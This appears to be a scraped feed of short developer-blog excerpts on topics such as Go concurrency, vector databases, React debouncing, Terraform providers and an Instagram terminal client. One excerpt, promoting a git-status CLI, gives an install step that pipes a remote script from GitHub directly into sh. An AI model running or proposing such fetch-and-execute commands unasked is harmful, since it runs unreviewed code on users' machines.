    There’s something funny happening in software right now. And by “funny,” I mean the kind of funny where you laugh so you don’t cry. Three years ago, the tech world was a battlefield layoffs everywhere, senior devs flipping burgers on weekends, juniors trying to get into the industry by rewriting the same CRUD app in 15 frameworks. Now? Nobody reads documentation. Nobody searches on YouTube for the right tutorial anymore. Nobody even tries to understand why something works. They just ask an LLM. And the LLM says: “Here you go, champ 👌, pi pi pop pip pop 🎵” and gives you an entire repo. This is the new “learning to code.” But last month, I fell down a rabbit hole making music with Strudel the live-coding music environment and it hit me: This is what programming used to feel like. Yo…  ( 8 min )
    more nim for embedded software development
    Writing libraries is fun, but at some point you've got to use them. I've been writing one for roughly two years! Finally, I moved to writing a not-so-small project using said library (avr_io - avr_io@github), so it is with this newfound knowledge that I bring forth some thoughts about my freshly started nim-application-dev days. This is a loose sequel of a previous article, nim for embedded software development. Note: the following is mainly about bare-metal firmware for 8-bit microcontrollers, but it can be applied to other domains. I have been experimenting a bit with arc and I like the "don't pay for what you don't use" kind of thing. Essentially, if you're not using ref-types you don't really notice arc, and you can use string and seq for relatively low cost in binary size. Still have…  ( 10 min )
    Desktop vs. Mobile vs. Tablet: Unpacking User Device Preferences for Online Forums
    Desktop vs. Mobile vs. Tablet: Unpacking User Device Preferences for Online Forums In the vast and ever-expanding digital landscape, online forums remain a cornerstone for communities to connect, share knowledge, and engage in meaningful discussions. From niche hobbies to professional networks, these platforms thrive on user participation. But as technology evolves, so does the way we access these digital meeting places. The fundamental question that many webmasters and digital marketers ponder is: which device do users prefer for accessing online forums – a tablet, a personal computer (PC), or a mobile phone? This isn't just a matter of curiosity; understanding these preferences is crucial for optimizing user experience and ensuring sustained engagement. Let's dive into the nuances of eac…  ( 8 min )
    The Database Zoo: Vector Databases and High-Dimensional Search
    This post is part of The Database Zoo: Exotic Data Storage Engines , a series exploring purpose-built databases engineered for specific workloads. Each post dives into a different type of specialized engine, explaining the problem it solves, the design decisions behind its architecture, how it stores and queries data efficiently, and real-world use cases. The goal is to show not just what these databases are, but why they exist and how they work under the hood. Vector embeddings have quietly become one of the most important data types in modern systems. Every LLM application, recommendation engine, semantic search feature, image similarity tool, fraud detector, and "find me things like this" workflow ultimately boils down to the same operation: convert some input into a high-dimensional ve…  ( 20 min )
    Monitor All Your Git Projects at Once
    When you work across multiple projects and directories, it's easy to That's why I built check-projects --- a fast CLI tool that gives all your git repositories in a single tldr; https://github.com/uralys/check-projects My work is spread across several directories: Uralys projects → ~/Projects/uralys Nomodata projects → ~/Projects/uralys Alterego projects → ~/Projects/alterego Running git status or git fetch manually in each folder is slow and error-prone. I curl -fsSL https://raw.githubusercontent.com/uralys/check-projects/main/install.sh | sh This installs a single binary compatible with macOS, Linux, and Windows. Create a config file at ~/check-projects.yml: categories: - name: uralys root: ~/Projects/uralys - name: alterego root: ~/Projects/alterego ignore: - "*-deprecated" check-projects will automatically scan these directories for git check-projects Example output: ✔ alterego x uralys * M www ⬆ flying-ones ✱ ✚ avindi ✔ --- Clean (in sync with remote) ⬆ --- Ahead of remote (push needed) ⬆⬆ --- Diverged from remote * M --- Modified files * D --- Deleted files ✱ ✚ --- Untracked files check-projects check-projects -v check-projects --category uralys check-projects --fetch check-projects --tui From this interface, you can navigate between projects, see detailed f to fetch from remote on the selected project. As always, feel free to comment on parts you need more explanations for, or share your thoughts on how you would have handled the parts you disagree with. Full documentation: https://github.com/uralys/check-projects  ( 7 min )
    ⭐ Build "AI Moodboards From Tweets" Using the Contentdrips API
    UX and product teams collect insights from users daily — feature requests, frustrations, praise, patterns. Most of these insights live inside scattered tweets, screenshots, Slack messages, and internal threads. This guide shows how to turn all that chaos into clean, branded visual cards and then automatically group them into AI-generated moodboards using the Contentdrips API. Paste a tweet → extract text → render → categorize → drop into moodboards. No designers. No screenshots. No editing. Most teams screenshot tweets for internal decks and research docs. But screenshots: Look inconsistent Capture random UI elements Break brand guidelines Don't scale Aren't easy to automate Rendering tweets as structured visual cards gives you: Consistent formatting Proper brand alignment High re…  ( 8 min )
    Concorrência em Go: Goroutines e Channels Easy
    Antes de Começar: Concorrência vs Paralelismo vs Assíncrono Essas três palavrinhas são frequentemente confundidas, especialmente se você vem do JavaScript. Vamos descomplicar: Concorrência é quando você ORGANIZA seu programa para lidar com várias tarefas. Não significa que rodam ao mesmo tempo, mas que o programa sabe alternar entre elas. É sobre ORQUESTRAÇÃO. Paralelismo é quando várias tarefas REALMENTE rodam ao mesmo tempo, em processadores diferentes. É sobre EXECUÇÃO SIMULTÂNEA. Código assíncrono (como no JavaScript) é quando você escreve código que não bloqueia. Você chama uma função, ela retorna uma Promise, e você continua fazendo outras coisas enquanto espera. Mas na prática, tudo roda em uma ÚNICA thread. A diferença prática? Em JavaScript (Node.js), quando você faz: await fet…  ( 11 min )
    Yay, I've been featured on the top 7 for the very first time! Thanks DEV ❤️
    Top 7 Featured DEV Posts of the Week Jess Lee for The DEV Team ・ Nov 25 #top7 #discuss  ( 6 min )
    Building a Full-Stack Class Dues Tracker: Lessons from Real-World Problem Solving
    Introduction: When Campus Problems Meet Code Picture this: It’s the first semester at university, and chaos reigns. Students don’t know who’s paid their class dues, the class treasurer has receipts scattered across three WhatsApp groups, and there’s zero accountability for how funds are spent. Sound familiar? This was the exact problem that pushed me to build Class Dues Tracker — a comprehensive payment management system that transformed how our department handles finances. But more importantly, it became my crash course in full-stack development, teaching me lessons no tutorial could. In this post, I’ll share my journey building this project from scratch, the technical challenges I faced, the solutions I discovered, and most importantly — what I learned about being a developer. Before d…  ( 14 min )
    Ever had your API calls fire way too often in a Next.js app? 😅 I wrote about how a simple useDebounce hook can smooth things out, boost performance, and keep your UI calm. Read more 👇
    Why I Built a useDebounce Custom Hook in Next.js (and Why You Should Too) Cristina Rodriguez ・ Nov 25  ( 6 min )
    Why I Built a useDebounce Custom Hook in Next.js (and Why You Should Too)
    If you've ever wired up a search bar in Next.js, you’ve probably hit this problem: every keystroke fires a new API call, triggers a re-render, or runs an expensive calculation. As your app grows, those “harmless little updates” start stacking up—fast. I’ve been there. I remember watching my terminal fill with logs like a slot machine every time I typed a word. And because I was calling an API, sometimes I even hit rate limits just by typing too quickly. That’s when I realized: I didn’t need results instantly. I needed results after the user paused typing. That’s exactly what debouncing solves—and why building a small, reusable useDebounce hook changed the flow of my whole project. React is responsive—which is great—until it isn’t. Search bars that fire API calls on every letter Window resi…  ( 8 min )
    Building Progressive Web Apps: Essential Patterns for Offline-First Performance and User Engagement
    As a best-selling author, I invite you to explore my books on Amazon. Don't forget to follow me on Medium and show your support. Thank you! Your support means the world! When I first began building websites, I noticed how often users struggled with slow loading times and unreliable connections. They'd lose their work if the internet dropped, or miss important updates because they weren't constantly checking the site. This frustration led me to explore Progressive Web Applications, or PWAs. These are web applications that behave more like native mobile apps, offering speed, reliability, and engagement directly from a browser. They work on any device and in various network conditions, making the web experience smoother for everyone. One of the core features that makes PWAs so reliable is se…  ( 11 min )
    Unleashing the Power of Monitoring: Master Your WordPress with New Relic
    WordPress powers countless websites across various domains, offering incredible versatility. This Content Management System (CMS) is the undisputed leader in the CMS market, powering an impressive 43.6% of all websites globally, according to these statistics. With over 810 million websites built on the platform and hundreds more launching daily (500+), its adoption continues to surge. This widespread use gives WordPress a massive 62% CMS market share, significantly outpacing its rivals. However, even the most robust WordPress sites can face performance challenges. Slowdowns are often caused by factors such as slow-loading plugins, database connection issues, infrastructure capacity problems, network trouble, large page assets (like images or fonts), and broken links. This is why robust mon…  ( 8 min )
    Optimizing Kafka Tracing with OpenTelemetry: Boost Visibility & Performance
    Ideally, you should be using distributed tracing to trace requests through your system, but Kafka decouples producers and consumers, which means there are no direct transactions to trace between them. Kafka also uses asynchronous processes, which have implicit, not explicit, dependencies. That makes it challenging to understand how your microservices are working together. However, it is possible to monitor your Kafka clusters with distributed tracing and OpenTelemetry. You can then analyze and visualize your traces in an open-source distributed tracing tool like Jaeger or a full observability platform like New Relic. In this post, I will leverage a simple application to show how you can achieve this. OpenTelemetry typically comes in two flavors: When I talk about these flavors, I typicall…  ( 10 min )
    How to Analyze Developer Trends Using HackerNews + GitHub Data (Step-by-Step Tutorial)
    Developers constantly ask questions like: “What tech is trending right now?” “Why do some GitHub repos go viral?” “How do I find project ideas devs actually want?” “Which months are best for launching tools?” The truth? use real data from HackerNews + GitHub and answer these questions with actual evidence. In this tutorial, I’ll walk you through a practical, real-world workflow to analyze: ✅ What kinds of repos go viral And yes — all of this becomes 10x easier if you’re using my cleaned dataset of 17,900+ HackerNews→GitHub repo submissions, split by month. If you want to follow along with the same dataset I use in this tutorial, grab it here: Grab it here 1. Why HackerNews → GitHub Data Is So Useful Most “tech trend” predictions are based on vibes. They come directly from developers They…  ( 16 min )
    7 Essential API Design Patterns That Scale: Build Better Web Applications with Code Examples
    As a best-selling author, I invite you to explore my books on Amazon. Don't forget to follow me on Medium and show your support. Thank you! Your support means the world! When I first started building web applications, I quickly realized that the way APIs are designed can make or break scalability. APIs act as the bridge between different parts of a system, and if they're not built to handle growth, everything can slow down or even break. Over time, I've learned that certain design patterns help create APIs that scale smoothly with user demand and feature additions. In this article, I'll share seven key patterns that have worked well for me, with plenty of code examples to illustrate each one. My goal is to explain these in a straightforward way, so even if you're new to this, you can foll…  ( 12 min )
    Scaling SQLite with Node worker threads and better-sqlite3
    Hello, I'm Maneshwar. I'm working on FreeDevTools online currently building **one place for all dev tools, cheat codes, and TLDRs* — a free, open-source hub where developers can quickly find and use tools without any hassle of searching all over the internet.* SQLite is fast, but your Node app isn’t You put data into SQLite, point your Node app at it, throw more traffic at the service… and CPU usage climbs while latency stays flat or gets worse. SQLite itself can be very fast, but a single Node process with a single connection usually leaves a lot of performance on the table—especially on multi-core machines. This post walks through a concrete setup that: Uses multiple processes and worker threads. Opens one better-sqlite3 connection per worker. Tunes SQLite pragmas specifically for heavy …  ( 12 min )
    Error handling in Go
    Each programming language has it's own way of dealing with errors. Popular languages such as JavaScript, Java, C#, and Python choose to use Exceptions to indicate something went wrong at runtime. Other languages, such as Go and Rust, choose to handle errors as values instead, using another paradigm that at first can be odd when you come from the other side of the force. In this article, I'll cover up the type of errors we have in Go and how to master handling them. If you are reading this article, probably you've seen the famous err != nil expression that's often seen while coding in Go (in contrast we have try-catches, that can be messy too). I'll try to convince you that treating errors as values is a good choice after all and we can do better than just always returning them. In Go, we…  ( 9 min )
    Key Take-a-Ways From Microsoft Ignite 2025
    Microsoft Ignite 2025, the focus was clear: artificial intelligence isn’t just a future promise, it’s rapidly becoming the fabric of everyday business operations. This year's announcements highlighted five major themes, each signaling a shift in scale, scope, and expectations around AI in the enterprise. In this post, we’ll walk through each theme, explain why it matters, and discuss its implications for organizations preparing for the next wave of change. 1. Democratization of AI: Lower Licensing Barriers The forthcoming “Copilot Chat for Everyone” in Microsoft 365 means that by early 2026, even users without a dedicated Copilot license will have access to AI features in Outlook, Word, Excel, and PowerPoint. They also introduced a new SMB-focused plan (Microsoft 365 Copilot Business) f…  ( 8 min )
    Refactoring If-Else Hell into a Strategy Pattern in PHP ⚙️
    Hey there! Today I want to share a common problem I’ve faced many times in PHP projects: a method full of if/else if statements that handles different types of orders. You know the type—huge, unreadable, and almost impossible to extend without breaking something. 😅 In this article, I’ll show you how to refactor such if-else hell into something much cleaner using the Strategy Pattern. By the end, you’ll see how flexible, testable, and maintainable your code can become. Let’s imagine we have a simple OrderProcessor class: class OrderProcessor { public function process(Order $order) { if ($order->type === 'digital') { echo "Processing digital order\n"; // some digital-specific logic } elseif ($order->type === 'physical') { echo "Process…  ( 8 min )
    Building an Experimental eBPF Firewall in Rust (XDP + Heuristic Risk Scoring)
    A post by Vitor Diego Galecki  ( 6 min )
    The Secret to Faster Picking in Business Central: Automate Warehouse Picks with One Click
    Every warehouse supervisor faces the same challenge: stacks of orders to pick, limited staff, and the constant question—what ships today? This is where the Order Fulfillment Worksheet app for Microsoft Dynamics 365 Business Central helps streamline operations. Below are real-world questions users ask when looking to speed up fulfillment using Business Central. The Order Fulfillment Worksheet gives supervisors a single, accurate view of every sales and transfer order. Instead of bouncing between screens, they see availability, allocation, and backorders all in one place. Orders are color-coded by availability—highlighting those that are not available, partially available, or ready to fulfill. When availability is refreshed, the worksheet recalculates in real time, instantly identifying whic…  ( 7 min )
    Why "Best Practices" & Frameworks Are Keeping You Junior
    There is a piece of advice that Experts or Senior programmers give to Juniors, which Juniors dutifully repeat to each other until it becomes a dogma: "Don't reinvent the wheel." On the surface, it makes sense. Why build a database when Postgres exists? Why write a message queue when you have NATS or Kafka? It seems efficient. It seems smart. But if you blindly follow this advice, it will cap your career. You will remain a "User" of software, never an "Engineer". You will be an expert at gluing together APIs you don't understand, terrified of the day the abstraction leaks and you have to debug a connection error that StackOverflow can’t solve. Here is the uncomfortable truth: To become a 10x Engineer, you must reinvent the wheel. Not to use it in production, but to understand how it works. …  ( 7 min )
    Build a REAL-TIME Multiplayer Game with Laravel, Livewire & Reverb!
    A post by Bert De Swaef  ( 6 min )
    Why CFE Provides the Trust, Identity, and Meaning Layer AI Has Been Missing
    As AI evolves from “a tool that generates answers” into autonomous agents capable of reasoning, acting, and making decisions, the most important requirement is no longer model performance. The Canonical Funnel Economy (CFE) is designed as the Trust Layer for Agentic AI — a foundational framework that ensures AI systems have stable identity, persistent memory, and verifiable semantics. The image you provided presents six core pillars that enable this transition. One of the biggest global challenges in AI today is semantic drift — the phenomenon where the model interprets the same word or concept differently across time or context. Terms like: “new customer” “onboarding pipeline” “protocol” “priority case” often carry different meanings between sessions or between agents. CFE solves this by …  ( 9 min )
    🇺🇸 PostgreSQL Partitioning Strategies for Massive Databases — Part 1
    Every year, companies face an exponential increase in data volume. Solutions that work perfectly for smaller tables often start to fail when the dataset reaches massive scales. That’s why we say: When tables reach this level, database administrators must completely rethink their storage and indexing strategies. And that’s where partitioning becomes a powerful and essential technique. Before diving into technical details, let’s go through a bit of history. Before PostgreSQL 10 — Inherited Tables Partitioning was implemented using table inheritance (INHERITS): A physical parent table was created. Multiple child tables represented each partition. Inserts were routed using triggers or rules, which redirected rows to the correct partition. Disadvantages: There was no automatic exclusion of …  ( 9 min )
    Refactoring Legacy: Part 1 - DTO's & Value Objects
    Ever opened a codebase where a single JSON payload could arrive in 17 different shapes depending on the phase of the moon? Over the last few years my contracts have involved working with legacy code in one way or another. Outdated software, missing documentation, inconsistent data structures and the occasional big ball of mud. I originally planned to write a single article summarising the tools, patterns and techniques I've found useful. The more I thought about it - the bigger the article got, the more it started to resemble some of the tangled software I've worked on. Rather than create one sprawling guide, I'm breaking this into smaller, practical articles. Which as it happens, is also a good approach to software. The current (and probably growing) list includes: Rector Domain-Driven De…  ( 18 min )
    Exploring Scalable Infrastructure for Edge Computing and Cloud Servers
    Hello everyone, I’m very interested in building a discussion around scalable infrastructure for edge computing combined with cloud servers. Lately, I’ve been sketching an architecture to support distributed compute workloads: data-intensive tasks running on edge servers, with backup and heavy compute offloaded to centralized cloud servers. The idea is to have a hybrid setup: low-latency edge processing, connected via fibre-channel switches and SAN storage, while AI-server workloads (e.g., on AMD EPYC or GPU-enabled rackmount systems) run in a centralized cloud / data center. I’d love to hear your thoughts on: Best practices for designing edge-to-cloud networks (especially using storage area networks and fibre channel) Real-world use-cases where this architecture is in production Recommendations for open-source tools or hardware to prototype such a system Looking forward to learning from your experience. Thanks!  ( 6 min )
    Technical SEO: The Part Everyone Ignores… Until the Traffic Drops
    Most people think SEO is all about keywords and content. Here are a few things I look at during a technical SEO checkup: 🚀 *1. Page Speed* 🔍 2. Crawlability 🧱 4. Indexing Issues 🔗 5. HTTPS & Security 🧩 6. Core Web Vitals 📌 Bottom line: Technical SEO isn’t about fancy tools — it’s about giving search engines a smooth, error-free path to understand your website. Fix the foundation, and your rankings grow naturally.  ( 6 min )
    🚀 React Performance Tip: Why useState(() => ...) Beats useState({...})
    Most developers write: const [ref] = useState({ current: initialValue }); ...but don't realize this silently creates performance overhead --- When you do: useState({ current: initialValue }); JavaScript still recreates that object on every single render, even This causes: unnecessary object allocations\ extra CPU work during render\ increased garbage-collection pressure\ wasted memory churn\ unnecessary strain in fast or frequently updating UI sections Your code: useState({ current: initialValue }); Render 1: - JS creates { current: initialValue } - React uses it Render 2: - JS creates { current: initialValue } again - React Render 3: - JS creates { current: initialValue } again - React ... Render 30: - JS creates { current: initialValue } again - React const [ref] = useState(() => ({ current: initialValue })); React calls the initializer only once No repeated object creation No extra GC churn No hidden allocations in later renders Matches useRef() behavior Reduced render cost\ Lower GC pressure\ Optimized initialization\ Less memory churn\ More predictable rerenders Yogesh Bamanier\ LinkedIn: https://www.linkedin.com/in/yogesh-007  ( 6 min )
    Session Service: як правильно будувати сесію у high-load казино
    Session Service: як правильно будувати сесію у high-load казино Управління сесіями в онлайн-казино — це не просто "зберігати токен у Redis". При навантаженні в десятки тисяч одночасних гравців кожна архітектурна помилка може призвести до втрати коштів, витоку даних або відмови сервісу. Розглянемо перевірені рішення. Безпека — неможливість підробки або викрадення сесії Масштабованість — мільйони активних сесій одночасно Продуктивність — перевірка сесії < 10ms Multi-device — один користувач на кількох пристроях Швидка інвалідація — logout/ban миттєво діють Audit trail — історія всіх сесій для compliance Concurrent users: 50,000 Sessions per second: 500-1,000 new sessions Session checks per second: 100,000-500,000 Average session duration: 45 minutes Peak load multiplier: 3x (вечір п'ятниці…  ( 13 min )
    We had enough of brainrot. We built a terminal app for Instagram to stop that.
    Instagram: the app you open to send one message… and suddenly 30 minutes are gone. We all know the cycle — and we finally had enough. What if Instagram had a quick fix? A productivity-friendly mode that keeps your connections, but gives your attention span a fighting chance? Instead of quitting social media (yeah right) or pretending we’ll use it “mindfully,” we built something different: A distraction-free way to chat with friends and view stories — right from your terminal. No algorithm traps. No reel vortex. No dopamine casino. Just conversations and updates, on your terms. Instagram CLI is a minimal, fast, keyboard-native way to stay connected without getting cooked by social media. Chat without distractions — no feed, no reels, no algorithm. Stay connected with stories and selected feeds — only when you choose. Use your keyboard for everything — built for developers, not casual scrollers. Run it anywhere — VSCode, your terminal, or even a Linux server. Enjoy TUI life — clean, simple, fast. Lightning-fast, real-time chat with dev-friendly shortcuts. View stories only from accounts you follow -- no ads, btw. (This feature is experimental) Full feature description on our repo docs. It’s fully open source, written primarily in TypeScript (with a Python version too). We recommend TS version since it significantly reduces the risk of your account getting flagged by Meta's anti-bot mechanisms. # Choose your camp... npm install -g @i7m/instagram-cli pip install instagram-cli We use Ink + React for the TS version and Curses for Python. This project is not affiliated with, authorized, or endorsed by Instagram or Meta. Using it may violate their Terms of Service - use responsibly. If you like this project, consider ⭐ starring the repo and contributing! https://github.com/supreme-gg-gg/instagram-cli  ( 7 min )
    **Unlocking AI-Driven Content Optimization: The 'Engagement
    Unlocking AI-Driven Content Optimization: The 'Engagement Lift Index' When evaluating the success of AI-powered content on Netflix, a crucial metric to consider is the 'Engagement Lift Index' (ELI). This metric measures the increase in user engagement attributed to AI-driven content optimization. Essentially, it quantifies how AI-driven content curation impacts viewers' interaction with Netflix's vast library. To illustrate the concept, let's examine a hypothetical AI-driven content optimization experiment on Netflix's 'Drama' category. Before AI-driven curation, the 'Drama' category received an average of 3.5 minutes of watch time per user. After introducing AI-driven content optimization, Netflix observed a 25% increase in watch time, averaging 4.37 minutes per user. However, using the ELI, we can isolate the AI-driven impact: a 50% increase in user engagement within the 'Drama' category, specifically due to AI-driven content suggestions. This translates to 1.92 additional minutes of watch time per user, directly attributed to AI-driven curation. The ELI provides a more nuanced understanding of AI's role in optimizing user experience and increasing engagement on streaming platforms like Netflix. By incorporating ELI into AI-driven decision-making, content creators and recommendations engineers can refine their strategies to deliver more personalized and engaging content. Publicado automáticamente  ( 6 min )
    Linux-Compatible HTML Editors That Work
    Developers sometimes move between different operating systems as they switch devices or environments. Many workflows start on macOS or Windows, but teams also use Linux installation setups for server work, container testing, or long-running tasks. This mix creates a simple problem: not every HTML editor behaves the same across platforms. Some tools offer stable Windows builds but weak Linux support. Others run on Linux but require workarounds during installation or setup. HTML editors (including WYSIWYG tools) play a key role in frontend work. For instance, they allow end users to create web content visually while also allowing developers to write code. If an editor fails on Linux (e.g., formatting, encoding, or rendering issues), developers lose consistency across environments. This artic…  ( 12 min )
    Did you know that synthetic data can be used to anonymize se
    Did you know that synthetic data can be used to anonymize sensitive information more effectively than traditional anonymization methods, while preserving its quality and relevance for machine learning model development? By leveraging techniques like Generative Adversarial Networks (GANs) and Variational Autoencoders (VAEs), synthetic data can mimic the distribution and relationships of the original data, making it virtually indistinguishable. This approach has significant implications for industries like healthcare and finance, where data anonymization is crucial for compliance and data protection. Publicado automáticamente  ( 6 min )
    Ringer Movies: ‘Two for the Money’ With Bill Simmons, Chris Ryan, and Cousin Sal | The Rewatchables
    ‘Two for the Money’ With Bill Simmons, Chris Ryan, and Cousin Sal Bill Simmons, Chris Ryan and Cousin Sal dive into the 2005 sports-betting drama Two for the Money (starring Matthew McConaughey, Al Pacino and Rene Russo), firing up their favorite Monday night parlay to break down all the highs, lows and oddball antics of the film’s gambling world. After unpacking the movie’s sports-betting mechanics, they each name their most rewatchable scene and—around the 48-minute mark—get into a rapid-fire round of fun categories and rankings only The Rewatchables can deliver. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is back on the yellow brick road, whipping up a snappy 15-minute rundown of every nitpick and plot hiccup in The Wiz—just in time with Wicked storming back into theaters. Expect their trademark wit as they dissect what makes this classic feel more fun (or flawed) than you remember. Along the way they drop links to polls, a Patreon shout-out, and all their social handles for fans who can’t get enough Cinematic Sinning. Plus, a quick roll call of their writers so you know who to blame… er, thank! Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Mission: Impossible - The Final Reckoning In 27 Minutes Or Less
    Everything Wrong With Mission: Impossible – The Final Reckoning In 27 Minutes Or Less CinemaSins takes aim at the latest Mission: Impossible, counting up every plot hole, shaky stunt and Tom Cruise’s perpetual flirtation with on-screen death. They admit they still love the series but feel these recent chapters have strayed a bit from the franchise’s glory days. They also plug their website and social channels—TVSins, CommercialSins, CinemaSins Podcast—plus shout out their writers (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel). Want more? Hit up their sinful poll, Patreon, Discord, Reddit, Instagram, TikTok and even Jeremy’s book. Watch on YouTube  ( 6 min )
    ChatGPT Atlas now has DevTools
    ChatGPT Atlas has taken another important step forward with its latest update. The introduction of native DevTools, more control over search behaviour and smarter browser memory support turns Atlas into a productivity environment instead of a simple browser with an AI layer. This update is compact but strategic. It strengthens the position of Atlas as a workspace for development, automation and analysis. The update brings dockable DevTools inside the Atlas window. This removes the split between debugging and prompting, and creates a smoother engineering workflow. Developers can inspect network calls, console output, UI layouts or script behaviour without switching to a separate window. Atlas becomes a unified environment for building and analysing. Errors, stack traces and logs can be cop…  ( 10 min )
    There’s a strange gap in web development.
    On one side, you’ve got the enterprise-grade developer depression kit: Next.js apps, AWS pipelines, API layers, auth flows, rate-limiting, deployments, and a dozen microservices no small business asked for. On the other side, you’ve got “we just need a landing page” landing pages — the tiny brochure sites that somehow still manage to generate 40 rounds of feedback and three different opinions on button size. Developers don’t want to touch these small sites because they turn into endless tweaks. Small businesses can’t justify paying thousands for something that should take minutes, not months. And freelancers get stuck between scope creep and clients who think a $200 budget includes a full rebrand and psychic guidance. So I built swiftlysite.com to bridge the gap. It lets anyone generate a production-ready website just by writing a short description. No freelancers drowning in revisions. No devs resizing logos at midnight. No small business owners comparing twenty nearly identical proposals. Just text in, website out.  ( 7 min )
    🚀 Deploying My First Portfolio on Killercoda Using Nginx — A Beginner DevOps Walkthrough
    As part of my DevOps learning journey, I was given an assignment to deploy a personal portfolio website on Killercoda using Nginx. This hands-on project taught me how to host a static website on a remote Linux environment, configure a web server, and use Git for deployment — all essential DevOps skills. In this article, I’ll walk you through every step I took. I started by downloading a portfolio template from StartBootstrap. After downloading, I extracted the ZIP file and opened the project folder in Visual Studio Code. In VS Code, I customized the template with: My name My bio Updated projects and contacts Adjusted colors and layout Once the edits were done, I initialized a Git repository and pushed the project online: git init I visited: 👉 https://killercoda.com/playgrounds/sc…  ( 7 min )
    RESTful – Pílula 4 – Identificadores e o uso de UUIDs em APIs REST
    Identificadores são fundamentais em uma API RESTful. A escolha entre IDs numéricos e UUIDs impacta segurança, escalabilidade, privacidade e integração entre sistemas. Exemplos comuns: GET /users/10 GET /orders/99 GET /products/42 Um identificador ideal deve ser: único imutável estável consistente IDs como 1, 2, 3 são simples e eficientes, porém: ❌ expõem o tamanho da base enumeration attack) Servem bem para sistemas internos, pequenos ou isolados. não são ideais. Um UUID v4 típico: 550e8400-e29b-41d4-a716-446655440000 Vantagens: difíceis de adivinhar não expõem contagem ou ordem bons para microsserviços excelente unicidade sem coordenação ideais para APIs públicas ou expostas a terceiros não substitui a Primary Key Mesmo usando UUID em APIs, sua tabela deve continuar tendo: uma chave p…  ( 7 min )
    Designing Trust: UX Principles in Fintech Apps
    Designing Trust: UX Principles in Fintech Apps (Week 5 of Pocket Portfolio — 12 Weeks of Shipping) Fintech apps don’t just handle data — they handle belief. If users don’t trust the interface, they won’t trust the numbers behind it. That’s why trust design is more than visual polish — it’s behavioral UX backed by consistency, clarity, and feedback. Pocket Portfolio’s interface was rebuilt with this question in mind: “How can we make accuracy look and feel obvious — even before a user checks the math?” In finance, reliability is perceived before it’s proven. A delay in loading or a flicker in a number instantly reduces confidence. So our UI needed to communicate stability — through predictable patterns and visual rhythm. Consistency — one typography system and token set shared acros…  ( 8 min )
    GA4 Custom Reporting: Stop Building Dashboards Nobody Uses
    You've spent three hours building a GA4 dashboard. It has 17 metrics, color-coded charts, and a beautiful layout. Your boss looked at it once, said "interesting," and never opened it again. Sound familiar? Here's the thing: GA4 gives you access to roughly 47 million data points (okay, slight exaggeration, but have you seen that interface?). The problem isn't getting data—it's figuring out which 5-7 metrics actually matter for your business. Everything else is just noise that makes you feel productive while accomplishing nothing. I've built dozens of GA4 dashboards over the past two years. Most of them were terrible. A few actually changed how companies made decisions. The difference wasn't technical complexity—it was ruthless focus on what drives action. Let's start with the uncomfortable …  ( 13 min )
    I made my resume site. It wasn’t that deep.
    *look at it first: * https://armaansucks.vercel.app So yeah, I made my resume site. I wanted a site that actually feels like me. The whole thing is basically me experimenting and stacking whatever ideas looked cool until it stopped looking ugly. That’s literally the entire process. Why I even bothered Nothing philosophical. Also, resumes look boring as hell. That’s it. How I built it I didn’t “design” anything. I don’t even know what people do with Figma or whatever tool they worship. I just opened the editor and kept tweaking until it started matching the vibe in my head. My rules were simple: • dark, sharp, readable It’s mostly React + Three.js + some shaders here and there. Basic stuff, nothing insane. Stuff that annoyed me while building • I kept changing tiny spacing values like an idiot Building this wasn’t hard. It was just tedious. Why I like the final result It feels like a proper “Armaan” site. No nonsense. Closing That’s pretty much it. I built a resume site because I wanted one that doesn’t suck. If it looks cool, good. If it doesn’t, whatever. I’ll keep improving it anyway.  ( 7 min )
    Top Data Science Tools You Should Learn in 2025 🚀
    Data Science continues to grow, and having the right tools is the key to success. 👉 Read full article on my blog: https://kazimdigiworld.blogspot.com  ( 6 min )
    How I integrated the blockchain donation feature in my Expo project
    Hi! In this article, I’m going to walk you through how I integrated a blockchain-based donation system into my Expo project. I’ll explain everything step-by-step in a beginner-friendly way — why we need a global Web3 provider, how WalletConnect’s projectId and RPC URLs are created and used, and how the donation flow works in the app. I’ll also show minimal code snippets from my actual project files so you can easily follow along and implement the same setup in your own app. Add a global Web3 provider so all screens can access wallet state (account, signer, network). Use WalletConnect (mobile) via a projectId and RPC endpoints (Alchemy/Infura or public RPC) to talk to an Ethereum testnet/mainnet. On the donation screen user: Connect wallet → select fund → enter ETH → Send transaction → wait…  ( 8 min )
    🗺️ How-To: Create a Bug Report
    Great! You’ve found a bug! And, wow, is it wreaking havoc! You did your homework. It’s reproducible, you know which environment it’s in, and it’s not been reported because you did your due diligence by searching through the ticketing system (insert Jira, Shortcut, Clickup, etc. here). This means you get the gold bug award. Finding the bug is only the beginning. Here’s how to create a great bug report. What Qualifies as a Great Report? Information. The more details you provide, the faster the engineering team can find and fix the issue. Let’s start with the essentials. Browser Information: What browser are you using? Does the issue exist in other browsers? Environment: Was the issue discovered in production? Does the issue exist in the Staging or QA environments? Sometimes the fix is on…  ( 7 min )
    Type hints in Python (3)
    Buy Me a Coffee☕ *Memo: My post explains type hints (1). My post explains type hints (2). Multiple variables cannot be defined with type hints at once so they need to be type-hinted first as shown below: v1: str v2: str v1 = v2 = 'Hello' print(v1) # Hello print(v2) # Hello v1: str = v2: str = 'Hello' # SyntaxError: invalid syntax Assignment statement unpacking cannot be done with type hints at once so variables need to be type-hinted first as shown below: v: str v, = 'Hello', print(v) # Hello v1: str v2: int v1, v2 = 'Hello', 23 print(v1) # Hello print(v2) # 23 v: str, = 'Hello', v1: str, v2: int = 'Hello', 23 # SyntaxError: invalid syntax for statement unpacking cannot be done with type hints at once so variables need to be type-hinted first as shown below: v: str for v, in [[…  ( 8 min )
    Day 2/30: Understanding Terraform Providers
    Today marks Day 2 of my #30daysofAWSTerraform challenge started by Piyush Sachdeva. Today we will deep dive into the terraform providers. What are terraform providers and how exactly they will work. Provider is simply a plugin that translates our terraform code into a code that your cloud provider can understand. As Cloud Provider doesn't understand HCL language of Terraform, this provider acts as a bridge between our Terraform code and Cloud. In simple, Providers are plugins that allow Terraform to interact with cloud platforms, SaaS providers, and other APIs. For AWS, we use the hashicorp/aws provider. terraform providers for AWS In the above official link, you can view all the services AWS Cloud will provide for the Terraform integration. terraform { required_providers { aws = { …  ( 7 min )
    From Hooks To Actions: What's New In React 19
